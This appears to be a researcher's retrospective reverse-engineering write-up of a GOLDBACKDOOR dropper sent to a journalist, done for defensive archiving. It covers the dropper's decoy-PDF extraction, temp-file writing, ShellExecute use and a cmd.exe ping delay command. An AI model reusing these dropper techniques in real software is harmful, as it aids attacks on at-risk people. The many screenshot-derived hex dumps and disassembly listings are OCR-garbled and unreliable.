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Please note: The sample covered in this report is from September 2022-January
2023. | have covered this sample for archiving purposes and does not pertain to
a known recent threat campaign, though the techniques covered may still apply.

REArchive

| had this idea to archive the reverse engineering of malware or exploits of historic or prior
campaigns by APT groups. Of course, were possible, | want to cover malware and exploits of
current samples, but sometimes this is not possible. Either, it's too sensitive to disclose, it
wasn't found in my network of people or the sample has not been published. So much of
content produced by TI corporations on malware samples is either high-level, abstracted or
sometimes does not disclose samples for reverse engineering. Along my travels, I'm often
revisiting old samples to understand TTPs or evolutions. Retrohunting, is also retroreverse
engineering | say. So with this, | wanted to create a space for this type of content on this
website, | call this project the REArchive. | hope here, | can find a space that will reverse
engineer older samples related to APT groups, where they haven't been covered before or
simply it is of genuine interest.
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https://www.0x0v1.com/rearchive-goldbackdoor/

Introduction to GOLDBACKDOOR dropper

Journalists have been a predominant target for intelligence operations by threat groups
supported by nation state actors. Particularly, threat actors from the Democratic People’s
Republic of Korea (DPRK) have adopted consistent and sophisticated efforts to target
individuals, such as activists and journalists that speak out against the regime over the last
decade.

As an independant researcher, | work with non-profit groups supporting human rights
activists, journalists, and anybody at risk from digital threats. And recently in going back
through my samples, | found a number of samples | hadn't really discussed indepth before -
which sparked the REArchive project. Once such sample was this, a GOLDBACKDOOR
dopper campaign, that was seen in January 2023. This is a relatively trivial malware
dropper, but it hasn't really been covered much publically. Whilst the time sensitivity of
releasing a technical report of this malware has lapsed, | believe that is still valuable to
document and archive the reverse engineering of this malware, since | don't believe there
has been much detailed technical reporting publically on it (other than Stairwells). My
intention here is to cover what this malware does/did as a retrospective analysis; it may
support future defence of civil society and journalists.

Distribution

The sample covered in this report was passed to us from an journalist who had received a
message within the Kakaotalk Messaging App. The message discussed the exchange of
private and sensitive information related to important figures in the context of North Korean
related activities in South Korea.

The sender, asked the journalists to look at the files attached in the message (.zip file). Some
of the content within the zip package contained private and sensitive documentation and
images relating to individuals pertinent to North Korean/South Korean politics.
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https://stairwell.com/resources/the-ink-stained-trail-of-goldbackdoor/?ref=0x0v1.com
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Contained with the media content is a file, with the filename title:
JHeldE XMe|gtE AMICH=EFE v1_0_220805.pdf.pif.

GOLDBACKDOOR dropper

File type is a PIF file (Program Information File): PIF-files (Program Information File) are the
standard Windows files that are used by the operating system to store information about
start-up properties for DOS-applications. PIF-files contain the necessary application's details,
such as its name, size, location, creation and modification date, default screen size, memory
usage, idle sensitivity, etc. This Windows feature enables users to avoid making multiple
adjustments to the DOS-application operating mode each time they are started. It is enough
to set up the program once and save the configuration to a PIF-file.

When looking at the entropy of the file, we notice a large rsrc section.
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ﬁ Entropy —_ O %

Total Offset
7.35976 00000000

Regions
Size Entropy Status
PE Header 00000400 2.85828 not packed
Section(0)[' text'] 00014200 6.64771 packed
Section(1)['.rdata'] 00007200 5.17471 not packed
Section(2)['.data'] 00001800 4.25651 not packed

_— 0054200 734723 packed

Section(4)['.reloc'] 00001200 6.52693 packed

le+06 3e+06 6e+06

——

This is due to files contained here, which include a PDF and icons for PDF filetypes.

The sample itself contains many anti-* techniques, however many of these are as a result of
the compiler. Because of this, you should note that this is typically standard of VS
compilations. | included a review of these for contextual understanding of compilation
settings of this malware and to support other reverse engineers in identifying these common
attributes in malware.
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~& CFF Explorer VIll - [F5] 465 Flqof u=° 2484 54 PN_v1.0_220805.pelf.pif] - O

F Settings 7
H @ SR AR el SLSTL
- B0 BN - =
B [& Fle: = 1A], bl 1 im {2 "BINOFILE” - [lang: 1033] [I=] =5 & P2 =
. {0 "BINIFILE" - [lang: 1033]
‘5“”“*"1'07220905""""" ) BINGFILE® - [arg: 1033] Offzet | 0 1 2 3 4 & & 7 8 3 & B C D E F | Ascii
[ & Dos Header i) "BIN4FLLE" - [lang: 1033] 00000000 | 25 50 44 46 2D 31 2E 33 04 25 C4 EG F2 E5 EB A7 | %PDF-L.3.%A364ES

=) Mt Headers
=] File Header

00000010 | F3 A0 DO C4 C6é DA 33 20 30 20 6F 62 64 DA 3C 3C | & DAE.3.0.0bj. <<

-3 101 - lang:1033] 00000020 | 20 2F 46 69 6C 74 &5 72 20 2F 46 6C 61 74 65 44 | ~Filter /FlateD

(=l Opional Header -4 103 - [lang: 1033] 00000030 | 65 €3 6F 64 65 20 2F 4C 65 6E 67 74 68 20 38 35 | ecods.-Length.85

- eacer -3 Teons 00000040 | 32 31 20 3E 3E 0& 73 74 72 65 61 6D 04 78 01 BS | 21.»y.stream.xlp

(=) Data Directories ] 5153 Icon Groups 00000050 | D 6B 9B 1D CE 7L FE PE 7E CS 58 32 78 85 DO D3 | ]kl Agb~~AX2x|BU

| (& Section Headers ] 55 Configuration Fies 00000060 | ES 9E 3B 60 SE 42 92 Bl 01 43 80 D5 19 58 DE 80 | &, [B 0 Clo0X0)

00000070 | 8C BS AD 70 40 4E 9C OB 49 9C 7B EC DC C8 3D 90
0oO0opoe0 | C4 B9 FA 7F E6 AD 9E 99 EE 3E 53 BS DA D3 A7 74

@Hio In{ilE=

— |2 Import Directory -1 1i>SpT085z

[ (5 Resource Directory 000000SD | 1E 7F 40 9E 67 4F DS 3B D5 35 DS 55 DS DG ©5 F | 1@1g00; Go0U000|
|— I Relocation Directory 000DDDAD | 14 2F 15 9F 14 C7 37 1F 93 E2 EE 33 42 74 FF 7B |00 10G7 I&ilety{
| {5 Debug Directory D00000BO | 70 17 BF Ch AD &D C7 FF 4F FF 30 66 5B 55 FD 30 | g0 E-—GyOy0E [UF0
' D00000CD | 14 75 6D B6 A6 C4 iF DF 2F 9E 3E Ci 1F 35 65 D5 | OuntT|& B/h»4 1=0

[ TLS Directory 000000D0 | 17 27 77 8B BE 72 7F BC FF 18 G5B D& D ED BA C2 | 0 'wikrllyl [U—i%4
[— 9, Address Converter DOODOQED | D6 C3 E6 E4 7E 71 7C 72 62 OB 53 9C DC 2B 8E BE | ORma~q|rEo SIU+1%
|— 4\, Dependency Walker 000DOOFD | 72 E9 F2 57 LF 73 F4 6B &7 47 57 8 93 OF 8B DB | vé&l yakSGWII 10
| 3 s it 00000100 | 27 9E F7 SE 8C 22 F2 BD ED B7 43 25 81 3F BD 92 | ' 1="1"0Ki ¢ 7%’
i or 00000110 | 4C D7 BF CO 26 E& DO DD OB 10 FE 62 17 FF 63 57 | LxéA&=BED0 BED 5ol

— % identifier 00000120 | F7 67 BO 19 25 14 C8 DA B2 24 E0 BS 40 37 05 F& | <g'040ED?$ap@7le
|— 2\ import Adder 00000130 | 44 D7 03 BF 24 6F CB DA C0 5B 09 F3 E3 D7 Be 1a | Dxo Sob A[ u3xm
| % Quick D o D0000140 | ES 20 DA C2 4D 1E E8 CD &8 65 F§ 4F &5 SA B3 6D | &. AH &1 emOsZin
y e sassembl 00000150 | 6& &3 47 OB 05 71 AA 02 55 1B 55 25 19 2E C8 10 | 3 GDOg? U0 U] . En
[— "} Rebuilder 00000160 | 61 FC 47 24 BB ED 30 0C 5D 31 B4 13 DS 96 53 3D | aiiS*»i01]1 0d15=
— % Resource Editor 00000170 | 7E 06 24 FF 1E 54 7E DB 37 ES DD 97 50 F§ F9 SF | ~0xi T~U73DIPSQ
L 45 upx uility 00000180 | 1B FF AF 02 9F 42 DF 6C BB 51 F5 3B 61 5B D& A6 | 0%  IBBLOBIa[0]

00000190 | B OF 1E DD Be 46 8F 61 74 72 16 9E 54 06 82 32 0 1) azz0 1T0 N2
0000OD1AD | C5 99 FF D9 46 F6 BF DE 2F EE 39 8D EF 9B A2 AE ilifﬁ}[:i brid ipe®
0O0OD1ED | DA &2 A4 F1 Bl OC CE A7 EF 16 77 84 BF BB 19 &F Te2fiz1ASi0 w1l 10
000001C0 | FF 14 &7 34 E7 E1 14 Ca 6D 33 E1 A4 BY 15 3E 49 0 gdcdl En3a?
000001D0 | CZ2 65 B7? AD C3 35 3E 21 5C D3 93 A4 75 7F 73 &6 e-—%S)!\O
000OD1ED | CC 3F 03 AE F9 11 E1 F2 GF 3E 70 58 92 CB 9E 16 I70 @i 48>
ooooniFo | 20 2C &6 3B 40 EA A5 D7 14 ES F4 D5 F7 B3 DO 2F £ @&exd Aol b
00000200 | ED BF 96 93 5D 09 54 BB C1 80 64 D3 31 A4 97 15 i01] . T»AI7012 10
00000210 | 44 FB B2 21 A2 50 98 05 D4 AF 64 88 DA 74 5B 36 D lePIoo- 310z [6
00000220 | BO 19 4B A2 8F SC 74 F4 6B 0A Bi B0 Bé 16 84 0D ‘DKe ~zak.2°M01
00000230 | 43 B 91 80 29 &D 2B 12 3D 3D Ba 7C 74 E5 Bl D3 £ 1)mAD ==2 |zA+0
00000240 | 2B A7 57 AE 3E Fe F8 Do D3 2B 07 D8 BD BO 78 &6 +5WR5el040 0 “x|
00000250 | A4 CL 85 44 32 7D 87 B3 44 44 DO DD F& 33 7D 8B 241D23 0 JDDTEI T
00000260 | 4C F7 A3 2F 71 E7 9B A4 OF 70 EB C2 07 72 BF E@ I+t golbopedonis
00000270 | DA 01 9F 69 78 72 16 9E BC DF DF 66 FC 48 DD AF U0 pi=rd |IBREUHT
0opopzs0 | D8 17 59 DB 7E FA 24 61 8B 2E FE 24 CF 85 05 FE 20 ¥i~usar . b3Ima
00000290 | DB 39 S8 F3 17 D9 BS 35 6C 3E C1 94 EF 48 FF 64 T9%cn TpSlsApiHyd
nooonzAn | FC FC 08 DA FC 2B DD 07 39 &D 0C 41 FA Bf ZE 4B 1iii0 Oii+¥0 Im LA K
00000ZED | 27 A5 A5 F4 8F CB FD D5 51 A0 34 EO0 395 BA 3E 7D ‘e Ep0Q capes}
00000z2C0 | 4D 9B D2 OC 6D D9 43 78 D3 BF 60 D9 E6 7F 4D 76 MIOIniC=0d Tl v
000o0zD0 | D6 36 CE C5 80 55 ED 2D D9 B3 1D D3 4B B6F 82 59 GeTAITL-T® OK 17
00000ZED | 9D 25 04 F9 E1 &F E6 1F CE 42 26 8B 16 3D DE 8F %.ud & 1B&ID =P
0000DZFD | 9E B3 EE EE F4 46 83 7F 56 4C F4 C2 3E 30 E2 8B 13 inaF 1 IVIOA 051

00000300 | F7 81 11 SE FC 04 7B C5 48 2D FC 8C Be 8F 91 S |+ 0 il {AH-i11 'Z
00000310 | 50 €7 E3 5F C2 B& B2 79 E8 Be E3 DS 2B 12 59 2C PgéiéWXé![SGﬁY,
Google Chrome 00000320 | 8C 20 63 FF AF 68 1D CO 6E 01 7C D E4 E2 6F 2C | I.iy h ind |Tado,

When debugging the sample, we get anti-debug checks. Of which include Visual Studio
Compilers functionality such as __scrt_initalize_crt(1). This is common with VS
compilations.

Wi o e

fi<esi>, int a2fcebxs, int a3@

var_24= dword ptr -24h

Code= dword ptr -26h

var_19= byte ptr -13h
ms_exc= CPPEH_RECORD ptr -13h

_tls_callback type *v6; //
“tls_callback_type *v7; //
int show window mode; // esi
CHAR *v8; // eax

; _umeind { £/ _

push ;
push offset stru_41C418 N char vie; //
call p 4 16| int Code; //
h 11
E:il s 12| if ( !_ sert_initialize crt(l) || (LOBYTE(a2) = @, v18 = _ sert_acquire startup_lock(), dword 41F788 == 1) )
__s¢ crt al
5§§t :;x al 14 __scrt_fastfail(a2, a3, (int)al, 7u);
jz loc_482C8A s goto LABEL_19;

¥
17| if ( dword 41F788 )
LOBYTE(a2) = 1;

else

{
23 dword_41F708 = 1;

24 if ( _initterm_e((_PIFV *)&First, (_PIFV *)&last
il s = 25 ritﬂrn (char - ;;ES; ! . ) »
__try { // _except at loc_402C59 26 _initterm((_P J2dword_416154, (_PUFV *)&8dword_416168);
and [ebp+ i yLevel], @ 2 dword_41F788 = 2;
call 14 c

mov  byte ptr [ebptvar_24], al

scrt_release_startup_lock(v18);

mov cax, dword _41F708 ORD *)sub_403208() ;

xor ecx, ecx

inc ecx s_nonwritable )

cmp cax, ecx ¢ J(_DHORD, _| int 5, 8, 2, 0)
jz loc_402C8A 5 be *)sub_d0328E();

T

¢ 88 __scrt_is_nonwritable_in_current_image((int)vé) )
_register_thread_local_exe_atexit_callback(*v7);

It checks for CPUID and if processor feature PF_XMMI64_INSTRUCTIONS_AVAILABLE is
present on the impacted system. If enabled, the malware knows that the SSE2 instruction set
is available and more complex mathematical operations are possible.

If it's not available, it calls IsProcessorFeatureSetPresent(0x17u) to check __fastfail
support before a call to IsDebuggerPresent & UnhandledExceptionFilter to check if an
exception occurs and no exception handler is registered, checking for a debugger.
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Once anit-* checks are made and various compiler checks, winmain is executed.

We first see a call to FindResourceA, where the malware looks for the custom binary

resource containing the resources, we noted earlier at 0x67.

push
and
call
push st
push e
push  offset Type  ; "BIN
push &7 ;g + lphase
push @ 3 hMedule
coll  ds:FindResourced
mov  esi, es
test s, est
iz short loc 461288
e ——
FE]
push  esi ; hResInfol
push @ ; hModule
call  ds:LoadResource
push st 5 hResInd|
push @ 5 hiiodule
mov  edi, eax
coll  ds:SizeofReso
test  edi, edi
3z short loc_49128A
L] (X ]
i = el
push  eai 3 hResData
coll  ds:LockResource loc_46128A:
oy edx, eax edx, edx
jwp  short loc_se128c
FIPIE!

Once it finds, loads and locks the
allocation.

] 08 Vewer

WUMAK BUTTEr| 1028 |5 7/ | E5p+sion ]
WCHAR File[1824]; // [esp+Bleh] [
WCHAR CommandLine[520]; // [
WCHAR Filename[1024]; //
int savedregs; // [esp+1F2eh] [eby

@h] BYREF
h] BYREF

ResourceAtandle = FindResourceA(®, (LPCSTR)Ox67, "BIN®);
v5 = ResourceAHandle;
if ( Resourcesandle &8 (Res

= LoadRes.
ce(Resource);

LockedResourc
else

Resourc = e;
if ( LockedResourceOffset )
vas = 0;
van = 7;
LOWORD (Block
call_mem cedResourceffset, weslen((const unsigned _ intls *)L
ReturnPo sub_401420( tion, (int)&savedregs);

)
if (&S T8 )

¥
sub_4@1E68(8&ProcessTnformation);

rce(e, ResourceAtiandle), SizeofResource(®, vs), Resource) )

kedResource0ffset));

resource, we see a handle to the executable and a region

|80.008) (-238,723) (556, 314) | 000006A0 00E31240: WsMain (x,x,%,%) 30| (Synchronized with EID)

& 10A viewA 8

[eAx 014230C8 & _rarc DEE

£ 000COPBD 1 TID[0000 vie o

viF o

Fox 46547262 o

€x 0030000 1 v Fehnl (6 o

5700851200 & o

07 00090060 L T o

6P 009DIE54 b Stack[90091£93] :009 1P 0
e or o

5P 00900330 b Stack(99901E93] ;00 o 2

< 1 v

(3] Trveads o8 x

Decmal  Hex  State Neme

[E 7932 1098 Resdy 1 L4300 ey 2454465 RLv1.0.22080.0x..

@um o0 Rey TR0

(@ 7es 108 Reacy TR0

D v

50 78 22 95 91 16 21 94 50 7B 24 95 AR 16 21 94
DE 7€ 20 95 82 16 21 94 85 16 20 94 FE 16 21 44
1F 75 28 95 67 16 21 5 1 75 DE 54 B4 16 21 34 .
B5 16 B6 94 84 16 21 94 1F 75 23 95 84 16 21 94
52 69 63 63 55 16 21 54 00 00 09 00 00 00 00 BB R

[exnonms coz3g000 a  v1.0_22080. exe.p5

50000 (Synchronized wich ESE)

o8 x

Following this a call to memmove to copy resource data to new allocated region.

Resourced = FindResourceA(®, (LPCSTR)@x67, "BIN™);
5

Resourced;

= LockResource(Resource);

= @;
vad = 7;
LOWORD (Elock[@]) = @;

Resourced && (Resource = LoadResource(®, ResourceA), SizeofResource(®, vs),

sub E32@6@(Elock, 7, weslen((const unsigned  intlé *)u7});
vl = (char *}sub E21A2@(Block, &ProcessInformation, (int)}&savedregs};

It then makes a call to GetModuleFileNameW, this returns the current location of where the
malware is running from in order for it to decrypt a list of strings that will be used to create a

filename for the PDF it's extracting next from the resources.

Resource) )
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lea ecx, [esp+lF2sh+Source] 3 this

EAXO@@E30000 & A+  Ap ke A7 v1i.8 22|ID 8 A~
call  2?02$basic_stringfl WU§char_traits@ Wistd@@v?$allocatorf WE26@s tdRROAERABVOIAEZ ; <td::wstring wstring const &) £BX 01612000 Y TIB[0000170C] :01612600 vIe o
lea  eax, [edi+3eh] ) ECXO15CF716 4 Stack[8008176C] :015CF710 eZEg)
push eax ; _Right AC 6
lea ecx, [esptiF2ahtelock] ; this EREIIIEED [ i@
call  2?82$basic_stringfl WU2Schar_traits@ Wistd@@v2$allocatorf WG2G@stdBEQAERRBVBIAGZ ; std::wstring wstring const &) EST@14230CA Y .rsrc:@14230CA RE @
lea  eax, [edi+dsh] EDI @1A111CA % debugd39:@1A111Ce NT @
Tﬁh eax " . _nghl] . EBPB1SCFFI8 Y Stack[088176C]:015CFF18 e
ea  ecx, [esptlF2ahsvar 15C5] ; this oF o
call  2?82$basic_string_WU2Schar_traits_W@std@@v2$allocator WG26@stdBPOAERABVAIAEZ ; std::wstring: iwstring(std:iwstring const &) EPEEDRED b SEEE i EC T HIEanE) oF B
O oo Letiane 1P OOE313E0 b WinMain(x,x,x,x)+170 T
call  ds:GetoduleHandlen ERLEEETEED ]
test  eax, eax L)
jz short loc_E313E6 < >|[zF e v
Threads o8 x
Decimal  Hex  State Name
408h nSize .
170C  Ready ;| poIE {5l
len  eow, [espriFashirilensme] [ bl bl 454
I . IpFilename 1420 Ready 7IDF5900
ac Ready 7IDF5900
100.90% (-62,2039) (773,349) Q000D7E0 00E3LIE0:
=] Hex View-1 a [ stack view o8 x
[peE30006 L 5A 56 60 63 60 60 60 04 60 0D 0O 08 ~|B15CDFE4  BRE30000 i TS fi_v1.0_22088.exe.pif:0OE30000 A
peE36010 B8 89 0 00 60 6D 0B 00 40 60 08 0D e0 B15CDFEE  @15CF710 Stack[0809170C]:@15CF710
[69E30020 00 00 0O 0O 6O 6 0D 00 0O 6D 00 0O 08 p1SCOFEC 00000420
20530030 @0 00 06 00 08 00 00 00 00 60 60 66 o0 le15CoFFe  conoonon
[69E30040 OF 1F BA OF 00 B4 09 D 21 BB Gl 4C 68 lB15COFF4  oBBOBBRA
0030050 69 73 20 78 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is-program-canno b15CofFs  coBooBRR
[60E30060 74 26 62 65 28 72 75 6E 20 69 GE 20 44 4F 53 20 t-be-run-in-D0S- B1SCOFFC  @1A11238 debugd39:B1A11238
69E30070 6D 6F 64 65 2E @D OD GA 24 G0 GO GO G0 00 00 00 lo15Ceo0e  ooBOOBOO
[69E30880 €1 77 4F €7 85 16 21 94 85 16 21 94 85 16 21 94 b15CEo4  oononeen
p9E30090 DE 7E 22 95 BF 16 21 94 DE 7E 24 95 1F 16 21 94 prge b15CE06E 00006000
[P9E308A0 DE 7E 25 95 97 16 21 94 50 7B 25 95 94 16 21 94 Pee—. ["P{¥e". B15CEGRC @1A11256 debuge3s:e1A11250
69E30080 50 7B 22 95 91 16 21 94 50 7B 24 85 AB 16 21 94 P{"s*.1"P{fe".1” b15CE010 00000000
[P0E300C0 DE 7E 20 95 82 16 21 94 85 16 20 94 FE 16 21 94 le15CEo14  oove0e0
69E300D0 1F 78 28 95 B7 16 21 94 1F 78 DE 94 84 16 21 94 el
[POE30UEC 85 16 B6 94 84 16 21 94 1F 78 23 95 84 16 21 94 e, 1 [UNENOWN 015CDFE4: Stack[0000170C] :015CDFE4 (Synchronized with ESP) v
o 00230000: A _ fi_v1.0_20080.exe.pif:00230000 v

We then see an additional FindResourceA get a handle to the PDF file contained W|th|n

I'Src.

Structures. 8 =3 Ems [ x]
Preudocode-A <] 3t General regsters o & x
*|[enxoos1rs70 s _rarc-eesiraze ~
[0000054€]
€ unsigned __int16 2)v20)); A*_v1.8_220605  pdf .pif ;0008
£01 00061000 4 debuga<2:090610C
£6P 0OCFFO55 U Stack[0090954C] :0CFF:
ESP 00CFDA3O to Stack[000054C] :06CFDAZD
EIP B00D1513 b WinMain(x,x,x,x) 1283
£FL 00000200
hi Resource(@, v2
coffesource(@, hResinfo);
g > 0y
c(hResData); g
T Tveacs o s x
Decimal  He  sute Hame
14 T 1356 saC Ready | Whaly bloyed o242 {640 b0 220805p...
148 @60 26C  Ready TIOFS900
149 @636 18AC  Ready T70Fs900
1350
[co000s1n _waraasmare:14s (m1638) v
T e vew-t o s \j Stadcvew o s x

[paciFaee oA £7 AF 1€ 1C 1€ 1C 55 59 52 5B 62 5E 7C O 68
FE 50 44 45 20 31 26 33 A 25 C4 E5 F2 E5 EB A7 %POF-1.3.%A30a85
F3 A2 DO C4 C6 04 33 20 30 20 6F 62 § DAE.3-9-0bj <<
20 2F 46 69 6C 74 65 72 20 2F 46 6C 61 74 65 44 - /Filter-/Flated
65 63 6F 64 65 20 2F 4C 65 6E 67 74 6B 20 38 35 ecade-/Length-85
523120 3¢ 3 @A 73 74 72 65 61 KD GA 78 61 85 21.>>.stream.x.y
50 63 98 1D C5 71 FE 7E 7E C5 5B 32 7B 85 D0 03 ]k . AgpeiX2x.00

oV 2.

2
B

0061E070: _rszc 00615070

to with its generated filename.

BOCFFa58  Stack[66600
6681513 wintain(x,x,:
80617670 . rsrc:68617070
eonceeee

[oresiony coGzAZC: Suack10000054C] 00GEDRSG (Synchronized with ESE)

Calling GetTempPathW, the malware looks for the users temp directory to write the PDF file

eans

0000002
@eazasss
6D61138  debugdi2:00061

O 8488

This is followed
temp path.

prpr— ™ ricusouEH s s S Sy e LIZ) UA VIEOA ()LL) WA VEWR 1
‘add esp, 14h | EAX 8000000 5
EBX 61612060 L TIB[0666170C] :61612000
ECX 00000028 >
M= EDX @15CE37A 4 Stack[09@170C]:@15CE37A
ESI @139F870 % .rsrc:gl39F570
loc_E31566: EDI B1A111C6 4 debug3g:A1A111CH
ea eax, [esp+1F26h+Buffer] EBP @15CFF18 % Stack[6000176C]:015CFF15
== 5 lglilarrar B15CDFEA & Stack[#066170C]:B15CDFEL
push  a@eh ; nBufferLength gse G SE] !
call  ds:GetTempPathi EIP @RE315A0 & WinMain(x,x,x,x)+330
cmp [esp+1F2eh+var_1£85], 8 EALETTZIEZS
lea eax, [esptlF26h+Source]
cmovnb  eax, [esp+1F20h+source]
push  eax 5 Source
lea eax, [Esp»]FZd)’H—BufFer‘] fests o & x
EED § SEALTEES Decimal  Hex  State Name
push  eax ; Destination
call  _wcscat 170C Yrtiills ks elp—od
|add esp, ch 1420 Ready T7DF5900
lea eax, [esp+iF20htvar_1ECE] ac Ready 77DFS900
cmp [esp+1F26h+var_1EB4],
cmovnb  eax, [esp+lF2eh+var_1ECS]
100.00% (-215,5€81) (855,262) 00000SAD DOE315A0: WinMain (x,%,x,)+330 (Synchronized with EIP)

@ Hex View-1 ] Pseudocode G [S] stack view o & x
[P15CE208 @8 E3 5C @1 88 E4 5C @1 F1 98 E@ 77 6C E3 5C 81 .a\. a\.noawla\. ~|le1scores eisceaee Stack[ooeaizec]:BiSCEIEE ]
[P15CE2E0 @@ @0 @ B0 2C 0@ 80 @8 50 ES 5C 01 00 00 00 00 Lo.-PE\L e i ey
l915CE270 63 9C EB 77 66 06 00 60 3A B8 3C B8 DB E7 5C O cadw....:.<.0c\. lp15CDFEC BleEB debuge39:81A110C0

15ce300 FE] @0 3a 00 5C 60 55 @0 73 @0 65 0@ 72 00 73 89 C.:.\.U.s.e.r.s. Eonae oo
[P15CE318 5C @0 55 89 73 0 65 88 72 @0 5C 68 41 08 78 88 \.U.s.e.r.\.A.p. lb15CDFF4 aaaaaam
[915C£320 76 @0 44 80 61 08 74 B0 61 B0 SC 68 AC 09 6F 8@ p.D.a.t.a.\.L.o. Eooims (oesron
[P15CE330 63 @0 61 89 6C 00 5C 08 54 00 ss 00 6D @0 70 80 c.a.l.\.T.e.m.p. B1SCDFFC  @1A11238 debug@39:01A11238
[915C£340  SC @0 1C AC 78 C7 15 C8 F4 BC 2@ 80 95 CC AC B9 \..-xC.Ed%- . I=? b15CE000 GIAIILIE debugd3s:61A11115
[P15CE350 29 BC 68 CE 20 @0 EA (2 6C AD 89 B3 78 (8 5C D4 )ml- 3A1.2pE\D lo1sCEpes oososmee
[P15CE350 SF @0 76 @0 31 0@ 2E @6 30 00 SF 00 32 00 32 00 _.v.1. b15cEens  0ooDE0GD
[P1SCE37@ 38 0@ 38 00 38 00 35 60 00 00 ”9 06 00 80 00 0.8.8.5......... p15CE@BC @1A11250 debug39:@1A11250

y some appending and a call to wfopen & fwrite to write the PDF to the
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.text:@e88156D push Bax : lpBuffer
.text:@e88156E push Adah ; nBufferLength
text:#e8a1573 call ds:GetTempPath
-text:@8881579 cmp [esp+lF28h+var 1ESE], 8
Ltext:@e881581 lea eax, [esp+lFlah+Source]
.text:@e881588 cmowvnb eax, [esp+lF28h+Source]
.text:@e881598 push eax i Source
Ltext:88881591 lea eax, [espt+lF2ah+Buffer]
.text:@e8B1598 push 64h ; 'd i SizeInWords
Ltext:@e8B1594 push eax ; Destination
Ctext 88881598 call
Ltext:88881548 add esp, 8Ch
Ltext:@e8B15A3 lea eax, [esptlF2ehdvar_lECE]
Ltext:@88B15A7 cmp [esp+lF28h+var lEB4], 8
Ltext:@e8B1SAC cmovnb eax, [esptlF2@hdvar_lECE]
.text: 888815681 push eax i Source
Ltext:@e8B1582 lea eax, [espt+lF2ah+Buffer]
.text: 888815689 push 6ah ; i SizeInWords
.text:@eaB1SBE push eax ; Destination
Ltext:8888158C call
Ltext:@e8B15C1 add esp, BCh
Ltext:888815C4 lea eax, [esptiF2eh+Buffer]
Ltext:@e8B1SCE push offzet aWb ;
Ltext 8881508 push eax i FileMame
Ltext:@eeB1501 lea eax, [espt+lF2Bh+var 1FBC]
Ltext ;88881505 push eax ; Stream
LJtext:@eeB1SDE call
Ltext:088B15DE mov eax, [esptiF2Ch+var 1FRC]
Ltext :@e8B1SDF add esp, BCh
Ltext 8RB 15E2 test eax, eax
text :@B8B1SEL iz short loc B1SFF

L J
e
Ltext:@@BB15EG push eax ;: Stream
Ltext:POBB1SE7 push [esp+1F24h#5ize] ; ElementCount
Ltext:9@BB15EE push 1 ; ElementSize
.text :POBB1SED push esi ; Buffer
.text:@@BB1SEE call _fwrite
Ltext :BOBB1SF3 push [esp+iF3Bhevar_1FBC] ; Stream
Ltext:@8@B1SF7 call
Ltext:@08B15FC add esp, lih

When the malware executes, the file is written to the temp directory. With the file name: ‘7| 2!
ME He|ga AlFRCix=E_v1.0_220805.pdf

l l < | C\Users\User\AppData\Local\Temp

File Home Share
< v P l This PC Local Disk (C) Users » User » AppData Local » Temp

Name Date modified

BComm  m o yewE NRGEE v1.0 220805 pdf : 0K
The dropper then uses the ShellExecuteW function with command “open” to open the file,
which opens the PDF file on whatever default app the user has configured to open PDF files
with. This process results in the user thinking they simply loaded a PDF file when originally
clicking on the executable.
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Felose(val);

ShellExecuteh(@, L"open”, Buffer, @, @, 5);
Sleep(@x12Cu);

sub_E319A0(v25);

EetTe/rpFat (exagou, File);

furite(&xmmord EAE948, 1lu, @xCA6u, v42);
felose(v42);

1

ShellExecutel(@, Lopen”,
Sleep(@x3E8u);

memset (&5t
ProcessInfo
GetModuleFilela
sub_E311C@(Command
CreateProcessi(e,

File, @, @, 8);

@, sizeof(StartupInfo));
i64;

51, @x104u);

O0DA14 _WirMaingle:l€S (E31€14)

=, 520, L"cmd.exe /C ping 1.1.1.1 -n 1 -w 200
CommandLine, @, @, @, @x8000000u, @, @, &startup]]

Hex View-1 5] Pseudocode G
24 00 B0 B0 GO 0D G0 B2 G0 0D 00 80 00 0D 0B 88 ¥
©0 @b 00 00 00 OO GO 00 OGO 00 @8 80 52 EE 31 17 .
18 FF 5C @1 1A 16 E3 8@ o0 03 02 0@ 34 EB E4 80 .
90 E3 5C 01 90 00 00 00 0O 00 @0 0D @5 00 @0 B0 .3\.
©A B2 @0 90 55 45 @3 00 38 12 Al el .
18 11 A1 81 ©0 00 @0 8@ 50 12 AL 81 .

68 12

o0 2@
18 11 Al @1
Al @1
BA 00 @0 00

1

@0 60 00 00 @0 00 00 00 00 00
@9 B0 2E 00 79 B0 69 0O 66 B0 S
©0 9@ B0 @@ B8 DF 5C 01 @4 90 @@ 0O @7 60 00 80 .
B8 12 E5 6@ 70 F8 39 81 2E 6@ 70 @@ 64 B0 66 0O
@b 90 BP @@ BE DF 5C 01 64 §0 @@ 0O @7 60 00 B0 .
b 60 BD 00 Be 00 @0 60 00 PO A9 0O @0 60 00 BD .

@6 90 BB B2 (0 18 Al B1 @0 B3 00 B2 02 6 08 6D
16 E2 5C 81 1B @@ @0 8@ 1F 8@ @8 8@ 78 (7 15 (8

Following the loading of th|s an additional GetTe}hpPath is called where a BAT script is

written.

CELTERErErS

(@ File | C:/Users/User/AppData/Local/Temp/ZH 1.

B

IS M2 AT 2R

W (A WUA : 2022.06.28) Rk

@& (Notsymaing @)

F48IAL 72 HOl(0l8 "HA M MBS 08 U MO0 B WE, Y | THUM TIRI0| (05 "BIAHE T ABA L) 0|8 U WOO) 2 HE .
HEHY 0|82 U AT Fof BY WUE NNVLEIY § FTFAC0H | rALFHY OB U YEWO 5of Po UE T NVBRRBYEFE

B2 YR E Feota Adguch

ol82je] Y2 E HEtn olg} AAE DAF Uastn MRSl Mg

2 =S 517] #sto] gt Lol AR

12 (s AU YR Y

olgalmyel CHE 3 & AU=E S

2E 0|83k B A

@ M2 HI0| WRE 269 TR
- WS WY M| 22 |
- Mee: mo S8 MY AE A3H

28 U 42 R0 B2 0|E HHE I

push
push
lea
push
push
push
call
add
lea
push
push
lea
push
call
mowv
add
test

jz

4sfolo} & B WRE B4R UG,
of8ate] HNHB)NEE 2S5t of2t HAE DA S Hasta FESH A
HelgUE S8 2R

AHE (HUABIL A2 5 U ¢7)

of 32fsta g () EJAHE 8]~ g0 La Bte| 7Hel(H &) H 2 E ChE2 Lol B

3 891 el OISO TR HRIHE) A 3 FEEEERE
S B (M9 Y | Urt

ct)

el

[H1] B A M| T2 U B 2 H=

edx

eax

eax, [esp+lF28h+File]

eax

offset asUBat ; "HEsEu.bat"
eax ; LPUWSTR
ds:wsprintfi

esp, 14h

eax, [esp+lF28h+File]
offset Mode 3 "wb™

SN 3 FileName
